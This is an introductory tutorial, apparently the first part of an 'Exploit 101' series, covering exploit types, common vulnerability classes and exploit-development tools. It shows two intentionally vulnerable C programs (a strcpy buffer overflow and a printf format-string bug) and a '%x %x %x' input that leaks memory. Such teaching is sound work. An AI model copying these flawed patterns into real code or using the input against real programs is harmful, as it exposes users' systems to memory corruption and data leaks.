An exploit is a piece of code or a technique used to take advantage of a software, hardware, or network vulnerability. Exploits allow an attacker to execute arbitrary code, escalate privileges, or gain unauthorized access to a system.

Types of Exploits

  1. Remote Exploits – Attacks that target network-accessible vulnerabilities (e.g., remote code execution, buffer overflow in a web server).
  2. Local Exploits – Require prior access to the system to escalate privileges (e.g., kernel privilege escalation).
  3. Zero-Day Exploits – Exploits targeting unknown or unpatched vulnerabilities.
  4. Client-Side Exploits – Target end-user applications such as browsers, PDF readers, or media players.
  5. Web Exploits – Attack web applications through SQL Injection, Cross-Site Scripting (XSS), or Command Injection.

Understanding Vulnerabilities

A vulnerability is a flaw in software or hardware that can be exploited. Common types include:

  • Buffer Overflow – Occurs when a program writes data beyond allocated memory, leading to code execution.
  • Race Conditions – Exploiting time-sensitive operations to gain unintended behavior.
  • Insecure Deserialization – Manipulating serialized data to execute malicious code.
  • Command Injection – Executing system commands via improperly sanitized input.

Common Exploitation Techniques

1. Buffer Overflow

Buffer overflow exploits occur when an attacker overflows a buffer and overwrites control structures in memory. Example in C (vulnerable code):

#include <stdio.h>
#include <string.h>
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);
}
int main(int argc, char *argv[]) {
    vulnerable_function(argv[1]);
    return 0;
}

An attacker can overflow buffer and overwrite the return address, redirecting execution to malicious code.

2. Format String Vulnerability

Allows an attacker to read/write memory using improper format specifiers.

#include <stdio.h>
int main() {
    char input[100];
    scanf("%s", input);
    printf(input);
}

If an attacker inputs %x %x %x, it can leak memory content.

Exploit Development Tools

  • GDB – Debugging tool for analyzing binary execution.
  • Radare2 – Reverse engineering framework.
  • Pwntools – Python library for exploit development.
  • Metasploit Framework – Exploit automation and penetration testing tool.

How to Get Started with Exploit Development

  1. Learn Assembly & Reverse Engineering – Understanding x86/x64 assembly is crucial.
  2. Understand Memory Corruption – Study buffer overflows, heap exploitation, and format string bugs.
  3. Use Vulnerable Labs – Practice in environments like VulnHub, Hack The Box, and Exploit-DB.
  4. Analyze CVEs (Common Vulnerabilities and Exposures) – Study past exploits and try to recreate them.

Conclusion

This introduction provides a foundation for understanding exploits, vulnerabilities, and exploitation techniques. In the next part, we will cover setting up a lab environment for exploit development.

Stay tuned for Exploit 101: Part 2 – Setting Up an Exploitation Lab!